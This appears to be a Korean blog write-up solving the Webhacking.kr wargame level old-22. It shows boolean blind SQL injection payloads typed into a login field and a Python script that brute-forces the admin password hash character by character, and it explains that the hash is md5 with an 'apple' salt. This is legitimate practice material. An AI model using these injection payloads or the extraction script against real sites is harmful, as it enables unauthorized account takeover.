-
<Webhacking.kr> old-22Wargame/Webhacking.kr 2021. 12. 5. 17:41
가입과 로그인을 할 수 있는 폼이 있다.
'admin'으로 로그인하라고 한다.
'guest/guest'로 가입하고 계정이 이미 존재한다고 한다.
'guest'로 로그인해보면
비밀번호 해시값이 출력된다.
이 해시값이 32자리인 것으로 보아 md5가 적용되있는 것 같다.
해시값을 md5 decrypt 사이트를 통해 해시되기 전 값을 구해보면 'guestapple'이 출력된다.
그럼 'woong/abc'로 가입하고 로그인해보면
해시되기 전 값을 구해보면
'abcapple'이 출력된다.
즉, password hash값은 'apple'을 salt값으로 사용하여 '{pw}+apple'을 md5로 해시한 값임을 알 수 있다.
※ md5는 단방향 해시함수이므로 복호화가 불가능하지만 여러 단어의 해시값을 미리 DB에 저장해서 그때그때 비교해서 찾을 수 있다. 따라서, 사이트별로 해시되기 전 값을 찾을 수도 찾지 못할 수도 있다.
username 칸에 ' or 1=1#을 입력하면
"wrong password"를 출력한다.
' or 1=2#을 입력하면
"Login Fail"을 출력한다.
이를 통해 참일 땐 "wrong password"를, 거짓일 땐 "Login Fail"을 출력하는 것을 알 수 있다.
■password 해시값의 길이 구하기
name을 알기 위해 페이지 소스 코드를 먼저 살펴본다.
username 칸에 admin' and length(pw) > 32#를 입력하면
username 칸에 admin' and length(pw) > 31#를 입력하면
이를 통해 password의 해시 값의 길이가 32인 것을 확인할 수 있다.
■password 해시값 구하기
username 칸에 admin' and ascii(substr(pw, 1, 1)) = 54#를 입력하면
password가 6으로 시작하는 것을 알 수 있다.
파이썬 코드를 통해 나머지 글자들도 찾아보면
import requests url = "https://webhacking.kr/challenge/bonus-2/" cookies = {"PHPSESSID" : "PHPSESSID 값"} pw = "" want_str = "Wrong password!" for i in range(1, 33): for j in range(33, 127): data = { "uuid" : "admin' and ascii(substr(pw,{},1))={}#".format(i,j), "pw" : "" } res = requests.post(url, data=data, cookies=cookies) if want_str in res.text: pw += chr(j) print("{} : {}".format(i, chr(j))) break print("pw : ", pw)
이 해시값을 md5 decrypt 사이트를 통해 해시되기 전 값을 찾아보면
즉 password는 'wow'인 것을 알 수 있다.
그럼 'admin/wow'로 로그인해보면
문제를 해결할 수 있다.
'Wargame > Webhacking.kr' 카테고리의 다른 글
<Webhacking.kr> old-23 (0) 2021.12.06 <Webhacking.kr> old-24 (0) 2021.12.06 <Webhacking.kr> old-21 (0) 2021.12.03 <Webhacking.kr> old-20 (0) 2021.12.02 <Webhacking.kr> old-19 (0) 2021.12.01